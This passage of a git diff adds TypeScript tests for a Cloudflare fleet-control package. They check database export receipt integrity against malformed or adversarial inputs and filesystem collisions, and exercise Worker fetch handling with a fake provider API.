+    ).toEqual({ size: Number.MAX_SAFE_INTEGER, sha256: digest.sha256 });
+    for (const malformed of [
+      { size: 0, sha256: digest.sha256 },
+      { size: Number.MAX_SAFE_INTEGER + 1, sha256: digest.sha256 },
+      { size: 1, sha256: digest.sha256.toUpperCase() },
+      { size: 1, sha256: digest.sha256, extra: true },
+      { size: 1 },
+      Object.defineProperty({ sha256: digest.sha256 }, 'size', {
+        enumerable: true,
+        get() {
+          throw new Error('integrity getter must not escape');
+        },
+      }),
+      new Proxy(
+        { size: 1, sha256: digest.sha256 },
+        {
+          getPrototypeOf() {
+            throw new Error('integrity proxy trap must not escape');
+          },
+        },
+      ),
+      new Proxy({ size: 1, sha256: digest.sha256 }, {}),
+    ]) {
+      let refusal: unknown;
+      try {
+        databaseExportIntegrityFromUnknown(malformed);
+      } catch (error) {
+        refusal = error;
+      }
+      expect(refusal).toMatchObject({
+        message: 'database export receipt integrity is malformed',
+      });
+      expect(isDatabaseExportReceiptError(refusal)).toBe(true);
+      expect(refusal).not.toHaveProperty('cause');
+    }
+
+    const promiseMethodTrap = vi.fn(() => {
+      throw new Error('caller-owned then must not run');
+    });
+    const nativeSubclass = new (class<
+      T,
+    > extends Promise<T> {})<DatabaseExportIntegrity>((resolvePromise) =>
+      resolvePromise(integrity('subclass')),
+    );
+    Object.defineProperty(nativeSubclass, 'then', {
+      configurable: true,
+      value: promiseMethodTrap,
+    });
+    await expect(
+      writer({
+        identity: { ...valid, operationId: SECOND_OPERATION_ID },
+        body: body('subclass'),
+        contentLength: integrity('subclass').size,
+        expectedIntegrity: nativeSubclass,
+      }),
+    ).resolves.toMatchObject(integrity('subclass'));
+    expect(promiseMethodTrap).not.toHaveBeenCalled();
+
+    const crossRealmPromise = runInNewContext(
+      '(value) => Promise.resolve(value)',
+    ) as (value: DatabaseExportIntegrity) => Promise<DatabaseExportIntegrity>;
+    const crossRealm = crossRealmPromise(integrity('realm'));
+    await expect(
+      writer({
+        identity: { ...valid, operationId: THIRD_OPERATION_ID },
+        body: body('realm'),
+        contentLength: integrity('realm').size,
+        expectedIntegrity: crossRealm,
+      }),
+    ).resolves.toMatchObject(integrity('realm'));
+
+    const malformedPromises: readonly Readonly<{
+      value: unknown;
+      synchronous: boolean;
+    }>[] = [
+      {
+        value: Promise.reject(new Error('expected integrity rejected')),
+        synchronous: false,
+      },
+      {
+        value: new Proxy(Promise.resolve(digest), {}),
+        synchronous: true,
+      },
+      {
+        // biome-ignore lint/suspicious/noThenProperty: deliberately hostile thenable input
+        value: { then: () => undefined },
+        synchronous: true,
+      },
+      {
+        value: Promise.resolve({
+          size: 1,
+          sha256: digest.sha256,
+          extra: true,
+        }),
+        synchronous: false,
+      },
+      {
+        value: Promise.resolve(
+          new Proxy({ size: 1, sha256: digest.sha256 }, {}),
+        ),
+        synchronous: false,
+      },
+      {
+        value: Promise.resolve(
+          Object.defineProperty({ sha256: digest.sha256 }, 'size', {
+            enumerable: true,
+            get() {
+              throw new Error('resolved getter must not escape');
+            },
+          }),
+        ),
+        synchronous: false,
+      },
+    ];
+    for (const malformedPromise of malformedPromises) {
+      let cancellations = 0;
+      const cancellable = {
+        locked: false,
+        getReader() {
+          throw new Error('synchronous integrity refusal must not read');
+        },
+        cancel() {
+          cancellations += 1;
+          return Promise.reject(new Error('ignored cancel rejection'));
+        },
+      } as unknown as ReadableStream<Uint8Array>;
+      let refusal: unknown;
+      try {
+        await writer({
+          identity: { ...valid, operationId: OPERATION_ID },
+          body: malformedPromise.synchronous ? cancellable : body('invalid'),
+          expectedIntegrity:
+            malformedPromise.value as Promise<DatabaseExportIntegrity>,
+        });
+      } catch (error) {
+        refusal = error;
+      }
+      expect(refusal).toMatchObject({
+        message: 'database export receipt integrity is malformed',
+      });
+      expect(isDatabaseExportReceiptError(refusal)).toBe(true);
+      expect(refusal).not.toHaveProperty('cause');
+      expect(cancellations).toBe(malformedPromise.synchronous ? 1 : 0);
+    }
+
+    const validForDirectParser = databaseExportReceiptIdentityFromUnknown(
+      { ...valid },
+      valid.authority,
+    );
+    expect(Object.keys(validForDirectParser)).toEqual([
+      'version',
+      'authority',
+      'databaseId',
+      'operationId',
+    ]);
+    expect(Object.isFrozen(validForDirectParser)).toBe(true);
+
+    const emptyOperation = '42345678-1234-4234-9234-123456789abc';
+    await expect(
+      writer({
+        identity: { ...valid, operationId: emptyOperation },
+        body: body(),
+        expectedIntegrity: Promise.resolve(integrity('nonempty')),
+      }),
+    ).rejects.toThrow('database export receipt refuses an empty body');
+    expect(await readdir(receiptDirectory(root))).not.toContain(
+      `${emptyOperation}.sql`,
+    );
+
+    const shortOperation = '52345678-1234-4234-9234-123456789abc';
+    await expect(
+      writer({
+        identity: { ...valid, operationId: shortOperation },
+        body: body('short'),
+        contentLength: 6,
+        expectedIntegrity: Promise.resolve(integrity('short')),
+      }),
+    ).rejects.toThrow(
+      'database export receipt source integrity differs from the streamed export',
+    );
+    const mismatchOperation = '62345678-1234-4234-9234-123456789abc';
+    await expect(
+      writer({
+        identity: { ...valid, operationId: mismatchOperation },
+        body: body('actual'),
+        expectedIntegrity: Promise.resolve(integrity('wanted')),
+      }),
+    ).rejects.toThrow(
+      'database export receipt source integrity differs from the streamed export',
+    );
+
+    const streamFailure = new Error('receipt source failed');
+    const failingStream = new ReadableStream<Uint8Array>({
+      start(controller) {
+        controller.enqueue(encoder.encode('partial'));
+      },
+      pull() {
+        throw streamFailure;
+      },
+    });
+    await expect(
+      writer({
+        identity: {
+          ...valid,
+          operationId: '72345678-1234-4234-9234-123456789abc',
+        },
+        body: failingStream,
+        expectedIntegrity: Promise.resolve(integrity('partial')),
+      }),
+    ).rejects.toBe(streamFailure);
+    expect(
+      (await readdir(receiptDirectory(root))).some((name) =>
+        name.startsWith('.receipt-'),
+      ),
+    ).toBe(false);
+
+    const missingRoot = join(root, 'missing-root');
+    const missingRootStore = new FileSystemDatabaseExportStore(missingRoot);
+    let missingCancellation = 0;
+    const missingBody = new ReadableStream<Uint8Array>({
+      cancel() {
+        missingCancellation += 1;
+      },
+    });
+    await expect(
+      missingRootStore.writeReceipt?.({
+        identity: receiptIdentity(missingRootStore),
+        body: missingBody,
+        expectedIntegrity: Promise.resolve(integrity('missing')),
+      }),
+    ).rejects.toThrow();
+    expect(missingCancellation).toBe(1);
+    await expect(lstat(missingRoot)).rejects.toMatchObject({ code: 'ENOENT' });
+
+    const trustedRoot = join(root, 'trusted-root');
+    const linkedRoot = join(root, 'linked-root');
+    await mkdir(trustedRoot, { mode: 0o700 });
+    await symlink(trustedRoot, linkedRoot);
+    const linkedRootStore = new FileSystemDatabaseExportStore(linkedRoot);
+    await expect(writeReceipt(linkedRootStore, 'symlink root')).rejects.toThrow(
+      'database export receipt root must be an existing trusted directory',
+    );
+
+    const unsafeRoot = join(root, 'unsafe-root');
+    await mkdir(join(unsafeRoot, '.anchorage-receipts'), {
+      mode: 0o755,
+      recursive: true,
+    });
+    await chmod(join(unsafeRoot, '.anchorage-receipts'), 0o755);
+    const unsafeStore = new FileSystemDatabaseExportStore(unsafeRoot);
+    await expect(writeReceipt(unsafeStore, 'unsafe mode')).rejects.toThrow(
+      'database export receipt directory must be a mode-0700 directory',
+    );
+    expect(
+      (await stat(join(unsafeRoot, '.anchorage-receipts'))).mode & 0o777,
+    ).toBe(0o755);
+  });
+
+  it('preserves nonregular and unreadable receipt collisions', async () => {
+    const root = await temporaryDirectory();
+    const store = new FileSystemDatabaseExportStore(root);
+    await writeReceipt(store, 'directory bootstrap');
+    const directory = receiptDirectory(root);
+    const collisionMessage =
+      'database export receipt collision differs from the committed export';
+
+    const directoryOperation = SECOND_OPERATION_ID;
+    const directoryTarget = receiptTarget(root, directoryOperation);
+    await mkdir(directoryTarget, { mode: 0o700 });
+    await expect(
+      writeReceipt(store, 'directory collision', directoryOperation),
+    ).rejects.toThrow(collisionMessage);
+    expect((await lstat(directoryTarget)).isDirectory()).toBe(true);
+
+    const symlinkOperation = THIRD_OPERATION_ID;
+    const symlinkTarget = receiptTarget(root, symlinkOperation);
+    const outside = join(root, 'outside-receipt.sql');
+    await writeFile(outside, 'outside bytes');
+    await symlink(outside, symlinkTarget);
+    await expect(
+      writeReceipt(store, 'symlink collision', symlinkOperation),
+    ).rejects.toThrow(collisionMessage);
+    expect((await lstat(symlinkTarget)).isSymbolicLink()).toBe(true);
+    await expect(readFile(outside, 'utf8')).resolves.toBe('outside bytes');
+
+    const wrongModeOperation = '42345678-1234-4234-9234-123456789abc';
+    const wrongModeTarget = receiptTarget(root, wrongModeOperation);
+    await writeFile(wrongModeTarget, 'wrong mode', { mode: 0o644 });
+    await chmod(wrongModeTarget, 0o644);
+    await expect(
+      writeReceipt(store, 'wrong mode', wrongModeOperation),
+    ).rejects.toThrow(collisionMessage);
+    expect((await stat(wrongModeTarget)).mode & 0o777).toBe(0o644);
+
+    const hardlinkOperation = '52345678-1234-4234-9234-123456789abc';
+    const hardlinkSource = join(root, 'unrelated-hardlink-source.sql');
+    const hardlinkTarget = receiptTarget(root, hardlinkOperation);
+    await writeFile(hardlinkSource, 'hardlink collision', { mode: 0o600 });
+    await chmod(hardlinkSource, 0o600);
+    await link(hardlinkSource, hardlinkTarget);
+    await expect(
+      writeReceipt(store, 'hardlink collision', hardlinkOperation),
+    ).rejects.toThrow(collisionMessage);
+    expect((await stat(hardlinkSource)).nlink).toBe(2);
+    expect((await stat(hardlinkTarget)).nlink).toBe(2);
+
+    const fifoOperation = '62345678-1234-4234-9234-123456789abc';
+    const fifoTarget = receiptTarget(root, fifoOperation);
+    await execFileAsync('mkfifo', [fifoTarget]);
+    let timeout: ReturnType<typeof setTimeout> | undefined;
+    const fifoDeadline = new Promise<never>((_, reject) => {
+      timeout = setTimeout(
+        () => reject(new Error('FIFO receipt inspection blocked')),
+        1_000,
+      );
+    });
+    try {
+      await expect(
+        Promise.race([
+          writeReceipt(store, 'fifo collision', fifoOperation),
+          fifoDeadline,
+        ]),
+      ).rejects.toThrow(collisionMessage);
+    } finally {
+      clearTimeout(timeout);
+    }
+    expect((await lstat(fifoTarget)).isFIFO()).toBe(true);
+
+    const socketOperation = '72345678-1234-4234-9234-123456789abc';
+    const socketTarget = receiptTarget(root, socketOperation);
+    const socketPath = join(root, 'receipt.sock');
+    await writeFile(socketTarget, 'preserved socket stand-in', { mode: 0o600 });
+    const server = createServer();
+    await new Promise<void>((resolvePromise, rejectPromise) => {
+      server.once('error', rejectPromise);
+      server.listen(socketPath, resolvePromise);
+    });
+    try {
+      const socketStore =
+        createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+          open: (async (
+            path: PathLike,
+            flags: string | number,
+            mode?: string | number,
+          ) => {
+            if (String(path) === socketTarget) {
+              return open(socketPath, flags, mode);
+            }
+            return open(path, flags, mode);
+          }) as typeof open,
+        });
+      await expect(
+        writeReceipt(socketStore, 'socket collision', socketOperation),
+      ).rejects.toThrow(collisionMessage);
+      expect((await lstat(socketPath)).isSocket()).toBe(true);
+      await expect(readFile(socketTarget, 'utf8')).resolves.toBe(
+        'preserved socket stand-in',
+      );
+    } finally {
+      await new Promise<void>((resolvePromise, rejectPromise) => {
+        server.close((error) => {
+          if (error) rejectPromise(error);
+          else resolvePromise();
+        });
+      });
+    }
+
+    const deviceOperation = '82345678-1234-4234-9234-123456789abc';
+    const deviceTarget = receiptTarget(root, deviceOperation);
+    await writeFile(deviceTarget, 'preserved device stand-in', { mode: 0o600 });
+    const deviceStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: (async (
+          path: PathLike,
+          flags: string | number,
+          mode?: string | number,
+        ) => {
+          if (String(path) === deviceTarget) {
+            return open('/dev/null', flags, mode);
+          }
+          return open(path, flags, mode);
+        }) as typeof open,
+      });
+    await expect(
+      writeReceipt(deviceStore, 'device collision', deviceOperation),
+    ).rejects.toThrow(collisionMessage);
+    await expect(readFile(deviceTarget, 'utf8')).resolves.toBe(
+      'preserved device stand-in',
+    );
+
+    const unreadableOperation = '92345678-1234-4234-9234-123456789abc';
+    const unreadableTarget = receiptTarget(root, unreadableOperation);
+    await writeFile(unreadableTarget, 'unreadable collision', { mode: 0o600 });
+    const unreadableStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: (async (
+          path: PathLike,
+          flags: string | number,
+          mode?: string | number,
+        ) => {
+          if (String(path) === unreadableTarget) {
+            throw Object.assign(new Error('permission denied'), {
+              code: 'EACCES',
+            });
+          }
+          return open(path, flags, mode);
+        }) as typeof open,
+      });
+    await expect(
+      writeReceipt(
+        unreadableStore,
+        'unreadable collision',
+        unreadableOperation,
+      ),
+    ).rejects.toThrow(collisionMessage);
+    await expect(readFile(unreadableTarget, 'utf8')).resolves.toBe(
+      'unreadable collision',
+    );
+
+    const readFailureOperation = 'a2345678-1234-4234-9234-123456789abc';
+    const readFailureTarget = receiptTarget(root, readFailureOperation);
+    await writeFile(readFailureTarget, 'read failure collision', {
+      mode: 0o600,
+    });
+    await chmod(readFailureTarget, 0o600);
+    const readFailure = Object.assign(new Error('read failed'), {
+      cause: new Error('foreign cause'),
+    });
+    const readFailureStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        read: async () => {
+          throw readFailure;
+        },
+      });
+    let readRefusal: unknown;
+    try {
+      await writeReceipt(
+        readFailureStore,
+        'read failure collision',
+        readFailureOperation,
+      );
+    } catch (error) {
+      readRefusal = error;
+    }
+    expect(readRefusal).toMatchObject({
+      message: 'database export receipt readback failed',
+    });
+    expect(isDatabaseExportReceiptError(readRefusal)).toBe(true);
+    expect(readRefusal).not.toHaveProperty('cause');
+    await expect(readFile(readFailureTarget, 'utf8')).resolves.toBe(
+      'read failure collision',
+    );
+
+    const disappearingOperation = 'b2345678-1234-4234-9234-123456789abc';
+    const disappearingTarget = receiptTarget(root, disappearingOperation);
+    const disappearingAlias = join(
+      directory,
+      '.receipt-c2345678-1234-4234-9234-123456789abc.tmp',
+    );
+    await writeFile(disappearingTarget, 'disappearing alias', { mode: 0o600 });
+    await chmod(disappearingTarget, 0o600);
+    await link(disappearingTarget, disappearingAlias);
+    let aliasDisappeared = false;
+    const disappearingStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: (async (
+          path: PathLike,
+          flags: string | number,
+          mode?: string | number,
+        ) => {
+          if (String(path) === disappearingAlias && !aliasDisappeared) {
+            aliasDisappeared = true;
+            await unlink(disappearingAlias);
+            throw Object.assign(new Error('alias disappeared'), {
+              code: 'ENOENT',
+            });
+          }
+          return open(path, flags, mode);
+        }) as typeof open,
+      });
+    await expect(
+      writeReceipt(
+        disappearingStore,
+        'disappearing alias',
+        disappearingOperation,
+      ),
+    ).resolves.toEqual({
+      location: pathToFileURL(disappearingTarget).href,
+      ...integrity('disappearing alias'),
+    });
+    await expect(readFile(disappearingTarget, 'utf8')).resolves.toBe(
+      'disappearing alias',
+    );
+    expect((await stat(disappearingTarget)).nlink).toBe(1);
+
+    const unsafeSizeOperation = 'd2345678-1234-4234-9234-123456789abc';
+    const unsafeSizeTarget = receiptTarget(root, unsafeSizeOperation);
+    await writeFile(unsafeSizeTarget, 'unsafe size', { mode: 0o600 });
+    await chmod(unsafeSizeTarget, 0o600);
+    const paths = new WeakMap<object, string>();
+    const unsafeSizeStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: trackedOpen(paths),
+        stat: async (handle) => {
+          const actual = await handle.stat({ bigint: true });
+          if (paths.get(handle) === unsafeSizeTarget) {
+            return withBigIntIdentity(
+              actual,
+              actual.dev,
+              actual.ino,
+              BigInt(Number.MAX_SAFE_INTEGER) + 1n,
+            );
+          }
+          return actual;
+        },
+      });
+    await expect(
+      writeReceipt(unsafeSizeStore, 'unsafe size', unsafeSizeOperation),
+    ).rejects.toThrow(collisionMessage);
+    await expect(readFile(unsafeSizeTarget, 'utf8')).resolves.toBe(
+      'unsafe size',
+    );
+  });
 });
diff --git a/packages/fleet-control/test/fetch-receiver.harness.test.ts b/packages/fleet-control/test/fetch-receiver.harness.test.ts
new file mode 100644
index 00000000..17115231
--- /dev/null
+++ b/packages/fleet-control/test/fetch-receiver.harness.test.ts
@@ -0,0 +1,239 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { mkdtemp, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { afterAll, beforeAll, describe, expect, it } from 'vitest';
+import { createTestHarness, type TestHarness } from 'wrangler';
+
+describe('native Worker fetch receivers', { timeout: 30_000 }, () => {
+  let directory: string;
+  let server: TestHarness;
+  beforeAll(async () => {
+    directory = await mkdtemp(join(tmpdir(), 'fleet-fetch-receiver-'));
+    const main = join(directory, 'worker.ts');
+    const source = (relative: string) =>
+      JSON.stringify(fileURLToPath(new URL(relative, import.meta.url)));
+    await writeFile(
+      main,
+      `
+import {CloudflareProvisioningClient} from ${source('../src/cloudflare-client.ts')};
+import {PlainWorkerBackend} from ${source('../src/plain-worker-backend.ts')};
+import {deploymentSpecDigest} from ${source('../src/spec-digest.ts')};
+import {PlainWorkerProvisioningApiFake} from ${source('./fixtures/plain-worker-provisioning-api-fake.ts')};
+import {DirectReferenceTransport} from ${source('../scripts/direct-reference-transport.ts')};
+import {createHash} from 'node:crypto';
+export default {async fetch(request){
+  const params=new URL(request.url).searchParams, kind=params.get('kind'), explicit=params.get('mode')==='explicit';
+  const native=globalThis.fetch;
+  const spec={tenantTag:'acme',environment:'production',scriptName:'receiver-probe',databaseName:'receiver-probe',compatibilityDate:'2026-08-06',mainModule:'worker.js',modules:[{name:'worker.js',content:'export default {fetch(){}}'}],authoredBy:'platform',schemaVersion:1,migrations:[],durableObjectMigrations:[],durableObjectBindings:[],maintenanceBaseUrl:'https://control.example.test',routeHostname:'app.example.test'};
+  const digest=deploymentSpecDigest(spec);
+  const version={versionId:'version-1',tag:digest,bindings:[{type:'d1',name:'DB',databaseId:'database-1'},...Object.entries({DEPLOYMENT_TENANT:spec.tenantTag,FLEET_ENVIRONMENT:spec.environment,FLEET_SCHEMA_VERSION:'1',FLEET_SPEC_DIGEST:digest,FLEET_INGRESS_CONTRACT:'guarded-object-v1'}).map(([name,value])=>({type:'plain-text',name,value}))]};
+  const seen=[];let stored=false,canceled=false;
+  const intercept=async function(input,init){
+    const normalized=new Request(input,init);
+    const proof=await Reflect.apply(native,this,['data:,']);await proof.text();
+    seen.push({status:proof.status,receiver:this===undefined?'undefined':'other',method:init?.method??'GET',redirect:normalized.redirect,url:normalized.url});
+    if(kind==='export'){
+      if(normalized.url.startsWith('https://api.cloudflare.com/'))return Response.json({success:true,errors:[],result:{status:'complete',result:{signed_url:'https://download.example.test/export.sql'}}});
+      if(normalized.url==='https://download.example.test/export.sql')return params.has('redirect')?new Response(new ReadableStream({cancel(){canceled=true;return new Promise(()=>{});}}),{status:302,headers:{location:'https://unvisited.example.test'}}):new Response('SELECT 1;');
+      throw new Error('unexpected export download target');
+    }
+    return kind==='client'?Response.json({success:true,errors:[],result:{uuid:'database-1',name:'receiver-probe'}}):Response.json({nextSweepAt:2000,nextPurgeAt:3000,alarmAt:2000,lastSweepAt:1000,deploymentSpecDigest:digest});
+  };
+  try{
+    if(kind==='transport'){
+      const transport=new DirectReferenceTransport({runtime:{requestTimeoutMs:1000,invocationTimeoutMs:5000,maxProviderRequests:9},startedAt:performance.now(),signal:request.signal,...(explicit?{fetch:native}:{})});
+      const result=await transport.providerFetch('data:,');await result.text();
+      return Response.json({ok:true,status:result.status,metrics:transport.snapshot()});
+    }
+    if(kind==='upload'){
+      const observed=[];const uploadFetch=async(input,init)=>{
+        const request=new Request(input,init);if(request.url==='data:,')return new Response('');
+        const path=new URL(request.url).pathname;
+        if(path.endsWith('/subdomain'))return Response.json({success:true,errors:[],result:{enabled:false,previews_enabled:false}});
+        const form=await request.formData(),metadata=JSON.parse(form.get('metadata')),module=form.get('bin/fixture.wasm');
+        observed.push({path,method:request.method,keys:[...form.keys()].sort(),metadata,wasm:module&&typeof module!=='string'?[...new Uint8Array(await module.arrayBuffer())]:null,wasmType:module&&typeof module!=='string'?module.type:null});
+        return Response.json({success:true,errors:[],result:{id:'v1',etag:'v1'}});
+      };
+      const client=new CloudflareProvisioningClient({plane:'plain-worker',accountId:'account',apiToken:'inert',rateCoordinator:{async acquire(){}},fetch:uploadFetch});
+      const common={scriptName:'native-upload',candidateTag:'native-candidate',mainModule:'src/worker.js',modules:[{name:'src/worker.js',content:'export default {}'},{name:'bin/fixture.wasm',content:new Uint8Array([0,97,115,109,1,0,0,0,0,6,0,255,128,0,195,169]),contentType:'application/wasm'}],compatibilityDate:'2026-08-06',bindings:{plainText:[],secrets:[],d1:[],durableObjects:[],services:[],queueProducers:[],r2Buckets:[]},limits:{cpuMs:42,subrequests:70},publicAccess:{workersDevEnabled:false,previewUrlsEnabled:false}};
+      for(const mode of ['initial','staged']){
+        const prepared=await client.prepareOrdinaryWorkerUpload({...common,mode,...(mode==='initial'?{durableObjectMigrations:[]}:{})});
+        await client.withMutationFence({mutationLeaseTtlMs:900000,async assertOwned(){}},()=>client.dispatchOrdinaryWorkerUpload(prepared));
+      }
+      return Response.json(observed);
+    }
+    globalThis.fetch=intercept;
+    if(kind==='export'){
+      const exportStore={async write(input){stored=true;const text=await new Response(input.body).text();return {location:'r2://fixture/export.sql',size:new TextEncoder().encode(text).length,sha256:createHash('sha256').update(text).digest('hex')};}};
+      const client=new CloudflareProvisioningClient({plane:'plain-worker',accountId:'account',apiToken:'inert',requestTimeoutMs:1000,rateCoordinator:{async acquire(){}},exportStore});
+      const result=await client.withMutationFence({mutationLeaseTtlMs:900000,async assertOwned(){}},()=>client.exportDatabase('database-1'));
+      return Response.json({ok:true,result,stored,canceled,seen});
+    }
+    if(kind==='client'){
+      const client=new CloudflareProvisioningClient({plane:'plain-worker',accountId:'account',apiToken:'inert',requestTimeoutMs:1000,rateCoordinator:{async acquire(){}},...(explicit?{fetch:intercept}:{})});
+      const result=await client.getDatabase('database-1');
+      return Response.json({ok:true,result,seen});
+    }
+    const api=new PlainWorkerProvisioningApiFake('per-request',1000);
+    api.versions.set(spec.scriptName,[version]);api.deployments.set(spec.scriptName,{versions:[{versionId:'version-1',percentage:100}]});
+    const backend=new PlainWorkerBackend({api,identityCaller:'receiver-probe',maintenanceRequestTimeoutMs:1000,...(explicit?{fetch:intercept}:{})});
+    const result=kind==='ensure'?await backend.ensureMaintenance(spec,'x'.repeat(32),api.fence(),'version-1'):await backend.inspect(spec,'x'.repeat(32),'version-1');
+    return Response.json({ok:true,digest:kind==='ensure'?result.deploymentSpecDigest:result.maintenance.deploymentSpecDigest,seen});
+  }catch(error){return Response.json({ok:false,error:String(error),stored,canceled,seen});}
+  finally{globalThis.fetch=native;}
+}};`,
+    );
+    server = createTestHarness({
+      root: directory,
+      workers: [
+        {
+          config: {
+            name: 'fleet-fetch-receiver',
+            main,
+            compatibility_date: '2026-08-06',
+            compatibility_flags: ['nodejs_compat'],
+          },
+        },
+      ],
+    });
+    await server.listen();
+  }, 30_000);
+  afterAll(async () => {
+    try {
+      await server?.close();
+    } finally {
+      if (directory) await rm(directory, { recursive: true, force: true });
+    }
+  }, 30_000);
+
+  it.each([
+    'default',
+    'explicit',
+  ])('supports %s native reference transport', async (mode) => {
+    const response = await server
+      .getWorker()
+      .fetch(`https://fixture.test?kind=transport&mode=${mode}`);
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({
+      ok: true,
+      status: 200,
+      metrics: { providerAttempts: 0, maintenanceAttempts: 0 },
+    });
+  });
+
+  it('downloads an export with a native-compatible redirect policy', async () => {
+    const response = await server
+      .getWorker()
+      .fetch('https://fixture.test?kind=export');
+    const result = (await response.json()) as {
+      ok: boolean;
+      stored: boolean;
+      result: { size: number };
+      seen: { url: string; redirect: string }[];
+    };
+    expect(result.ok).toBe(true);
+    expect(result.stored).toBe(true);
+    expect(result.result.size).toBe(9);
+    expect(
+      result.seen.filter((value) =>
+        value.url.startsWith('https://download.example.test/'),
+      ),
+    ).toEqual([expect.objectContaining({ redirect: 'manual' })]);
+  });
+
+  it('names native initial and staged multipart fields after their modules', async () => {
+    const response = await server
+      .getWorker()
+      .fetch('https://fixture.test?kind=upload');
+    const body = (await response.json()) as Array<{
+      path: string;
+      method: string;
+      keys: string[];
+      metadata: unknown;
+      wasm: number[];
+      wasmType: string;
+    }>;
+    expect(body).toHaveLength(2);
+    expect(body.map(({ path, method }) => [path, method])).toEqual([
+      ['/client/v4/accounts/account/workers/scripts/native-upload', 'PUT'],
+      [
+        '/client/v4/accounts/account/workers/scripts/native-upload/versions',
+        'POST',
+      ],
+    ]);
+    for (const upload of body) {
+      expect(upload.keys).toEqual([
+        'bin/fixture.wasm',
+        'metadata',
+        'src/worker.js',
+      ]);
+      expect(upload.metadata).toMatchObject({
+        main_module: 'src/worker.js',
+        limits: { cpu_ms: 42, subrequests: 70 },
+        annotations: { 'workers/tag': 'native-candidate' },
+      });
+      expect(upload.wasm).toEqual([
+        0, 97, 115, 109, 1, 0, 0, 0, 0, 6, 0, 255, 128, 0, 195, 169,
+      ]);
+      expect(upload.wasmType).toBe('application/wasm');
+    }
+  });
+
+  it('rejects an export redirect without storing data or awaiting cancellation', async () => {
+    const response = await server
+      .getWorker()
+      .fetch('https://fixture.test?kind=export&redirect=302');
+    const result = (await response.json()) as {
+      ok: boolean;
+      stored: boolean;
+      canceled: boolean;
+      seen: { url: string }[];
+    };
+    expect(result.ok).toBe(false);
+    expect(result.stored).toBe(false);
+    expect(result.canceled).toBe(true);
+    expect(result.seen.map((value) => value.url)).toEqual([
+      'https://api.cloudflare.com/client/v4/accounts/account/d1/database/database-1/export',
+      'https://download.example.test/export.sql',
+    ]);
+  });
+  it.each([
+    'default',
+    'explicit',
+  ])('supports %s native client fetch without HTTP', async (mode) => {
+    const response = await server
+      .getWorker()
+      .fetch(`https://fixture.test?kind=client&mode=${mode}`);
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({
+      ok: true,
+      result: { id: 'database-1', name: 'receiver-probe', created: false },
+      seen: [{ status: 200, receiver: 'undefined', method: 'GET' }],
+    });
+  });
+  it.each([
+    ['ensure', 'default'],
+    ['ensure', 'explicit'],
+    ['inspect', 'default'],
+    ['inspect', 'explicit'],
+  ])('supports %s with %s native maintenance fetch', async (kind, mode) => {
+    const response = await server
+      .getWorker()
+      .fetch(`https://fixture.test?kind=${kind}&mode=${mode}`);
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({
+      ok: true,
+      digest: expect.stringMatching(/^[a-f0-9]{64}$/),
+      seen: [
+        {
+          status: 200,
+          receiver: 'undefined',
+          method: kind === 'ensure' ? 'POST' : 'GET',
+        },
+      ],
+    });
+  });
+});
diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts
new file mode 100644
index 00000000..4347bb76
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts
@@ -0,0 +1,916 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { expect } from 'vitest';
+import type { CloudflareProvisioningClient } from '../../src/cloudflare-client.js';
+import {
+  type CloudflareApiRateCoordinator,
+  ProcessLocalCloudflareApiRateCoordinator,
+} from '../../src/cloudflare-rate-coordinator.js';
+import {
+  deploymentIdentity,
+  maintenanceResponder,
+  type ProviderWorld,
+  type WorkerRoute,
+} from './provider-world.js';
+
+type PageInfo = Readonly<{
+  page?: number;
+  per_page?: number;
+  count?: number;
+  total_count?: number;
+  total_pages?: number;
+  cursor?: string;
+  cursors?: Readonly<{ after?: string }>;
+}>;
+
+function page(
+  result: unknown,
+  info: PageInfo,
+  emptyEnvelopeFields?: { errors: null; messages: null },
+): Response {
+  let items: readonly unknown[] | undefined;
+  if (Array.isArray(result)) {
+    items = result;
+  } else if (result && typeof result === 'object') {
+    const candidate = Reflect.get(result, 'items');
+    if (Array.isArray(candidate)) items = candidate;
+  }
+  const count = items?.length ?? 1;
+  return Response.json({
+    success: true,
+    errors: [],
+    messages: [],
+    ...emptyEnvelopeFields,
+    result,
+    result_info: {
+      page: 1,
+      per_page: count,
+      count,
+      total_count: count,
+      total_pages: 1,
+      ...info,
+    },
+  });
+}
+
+export function pageArray(
+  items: readonly unknown[],
+  info: PageInfo = {},
+): Response {
+  return page(items, info);
+}
+
+export function pageItems(
+  items: readonly unknown[],
+  info: PageInfo = {},
+): Response {
+  return page({ items }, info);
+}
+
+export function single(result: unknown): Response {
+  return Response.json({
+    success: true,
+    errors: [],
+    messages: [],
+    result,
+  });
+}
+
+export function envelope(result: unknown): Response {
+  return page(result, { per_page: 20 });
+}
+
+/** The empty page answering a request past the first; undefined for page 1. */
+function pageBeyondFirst(url: URL, info: PageInfo = {}): Response | undefined {
+  const requested = Number(url.searchParams.get('page') ?? '1');
+  return requested === 1
+    ? undefined
+    : pageArray([], { page: requested, ...info });
+}
+
+export function zoneAuthorityResponse(
+  url: URL,
+  zones: readonly (string | { id: string; name?: string; type?: string })[],
+  routes?: readonly WorkerRoute[],
+): Response | undefined {
+  if (
+    url.pathname.endsWith('/user/tokens/verify') ||
+    url.pathname.endsWith('/accounts/account/tokens/verify')
+  ) {
+    return envelope({ id: 'token-id', status: 'active' });
+  }
+  if (url.pathname.endsWith('/accounts/account/tokens/token-id')) {
+    return envelope({
+      id: 'token-id',
+      status: 'active',
+      policies: [
+        {
+          id: 'zone-authority',
+          effect: 'allow',
+          permission_groups: [
+            { id: 'zone-read', name: 'Zone Read' },
+            { id: 'routes-read', name: 'Workers Routes Read' },
